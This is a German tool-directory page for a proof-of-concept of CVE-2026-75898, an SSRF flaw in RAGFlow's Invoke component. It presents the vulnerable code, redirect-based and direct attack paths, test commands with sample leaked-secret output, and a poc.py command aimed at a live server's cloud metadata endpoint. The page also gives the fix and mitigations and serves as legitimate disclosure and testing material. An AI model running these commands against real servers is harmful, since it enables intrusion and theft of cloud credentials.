Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/t3bik/cve-2026-75898
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPapers & ForschungLernen & Bildung
GitHubt3bik/cve-2026-75898

CVE-2026-75898

Proof-of-Concept für CVE-2026-75898, eine SSRF-Schwachstelle in der Invoke-Komponente von RAGFlow. Demonstriert die Schwachstelle mit unverändertem Quellcode, enthält E2E-Tests, Fix-Vergleich und Docker-basierte Reproduktion für autorisierte Sicherheitstests.

Repository anzeigen
vor 12h 22mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-75898 — SSRF in der RAGFlow-Invoke-Komponente

Server-Side Request Forgery (CWE-918) in der Agent-Workflow-Komponente „Invoke“ von RAGFlow, vor 0.26.3.

CVECVE-2026-75898
CVSS8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N)
Behoben inv0.26.3
Fix-Commitsc4fe68e, e16d1a0
Issue-Referenzeninfiniflow/ragflow#15425, #18280
AdvisoryVulnCheck

Grundursache

In agent/component/invoke.py von v0.26.2 konstruiert die Invoke-Komponente die Request-URL aus benutzerdefinierten Variablenvorlagen und führt keine Validierung des aufgelösten Hosts durch:

root@kitploit:~
def _build_url(self, kwargs: dict) -> str:
    url = self._resolve_template_text(self._param.url.strip(), kwargs)
    if not url.startswith(("http://", "https://")):
        url = "http://" + url
    return url

Diese URL erreicht requests.get/post/put in _send_request(). Da allow_redirects auf den requests-Standardwert (True) gesetzt bleibt, kann ein Angreifer:

  1. die Invoke-url auf eine interne Adresse setzen (127.0.0.1, 169.254.169.254, RFC1918-Bereiche, eine Pinning des aufgelösten Hosts existiert nicht), oder
  2. sie auf einen Angreifer-Host zeigen lassen, der per 302-Redirect ins interne Netzwerk umleitet.

Der Fix fügt assert_url_is_safe() + pin_dns() hinzu und erzwingt allow_redirects=False.

Echtes Quellmaterial, keine Neuimplementierung

Im Gegensatz zu „ähnlich aussehenden“ Neuimplementierungen führt dieses Repository den unveränderten v0.26.2-Quellcode der verwundbaren Komponente aus:

  • target/invoke_v0.26.2.py — bytegenaue Kopie von agent/component/invoke.py aus dem v0.26.2-Tag.
  • e2e/test_genuine_ssrf.py — lädt diese echte Datei hinter dünnen Import-Stubs (der Stub ersetzt nur unzusammenhängende Importe: ComponentBase, den timeout- Decorator und HtmlParser — keine der SSRF-Pfadlogik wird angefasst) und beweist, dass die Komponente einen internen Dienst direkt und über eine Redirect- Kette erreicht.
  • e2e/test_fix_guard.py — wendet den Upstream-Guard (assert_url_is_safe, allow_redirects=False) auf genau dieselbe Datei an und zeigt, dass die Requests blockiert werden.

Reproduzierbarkeit

Auf drei unabhängige Weisen validiert:

  1. Repo-lokaler E2E-Test (keine RAGFlow-Installation): e2e/test_genuine_ssrf.py treibt den unveränderten target/invoke_v0.26.2.py-Quellcode gegen Loopback-Lab- Server an — SSRF bestätigt.
  2. Fix-Vergleich: e2e/test_fix_guard.py wendet den Upstream-Guard auf dieselbe Datei an — blockiert.
  3. Vollständige Docker-Instanz: RAGFlow v0.26.2 (infinity+mysql+minio+valkey) über docker compose; ein Invoke-Knoten in einem echten Agent-Flow holte INTERNAL-DB-SECRET:dbpassword=SuperSecret123 von einem internen Host-Port. Siehe LAB_DEMO.md für den wörtlichen Nachweis.

Lokalen E2E-Test ausführen

root@kitploit:~
cd e2e
python3 test_genuine_ssrf.py   # muss „SSRF confirmed“ ausgeben (verwundbar)
python3 test_fix_guard.py     # muss „BLOCKED“ ausgeben (behobenes Verhalten)

Erwartete Ausgabe (verwundbar)

root@kitploit:~
[1] Direct SSRF: url -> http://127.0.0.1:9380/internal/admin/reset
    response: 'INTERNAL-SECRET-/internal/admin/reset'  (X-Internal header: true)
    [?] SSRF confirmed: internal service reached, secret leaked

[2] Redirect SSRF: url -> http://127.0.0.1:9381/ -> 302 -> 127.0.0.1:9380
    final: 'INTERNAL-SECRET-/internal/redirected'
    [?] SSRF via redirect chain confirmed

Live-RAGFlow-Instanz prüfen

Erfordert ein authentifiziertes Session-Token (Invoke läuft innerhalb eines Agent-Flows).

root@kitploit:~
python3 poc.py --poc                                        # lokaler E2E-Test
python3 poc.py --check --target https://ragflow.example.com \
               --token $TOKEN --invoke-url http://169.254.169.254/latest/meta-data/

Erkennung / Abhilfe

  • Upgrade auf RAGFlow ≥ 0.26.3.
  • URL-Vorlagen des Agent-Invoke-Knotens auf eine Allowlist beschränken.
  • Egress-Filter für interne/Cloud-Metadata-Bereiche vom RAGFlow-Backend.

Offenlegung

Behoben in RAGFlow v0.26.3 (Aug 2026). Dieser PoC wurde unabhängig aus dem öffentlichen Advisory und den Fix-Commits rekonstruiert, ausschließlich für autorisierte Sicherheitstests und Bildungszwecke. Nicht mit InfiniFlow verbunden.

Tool herunterladen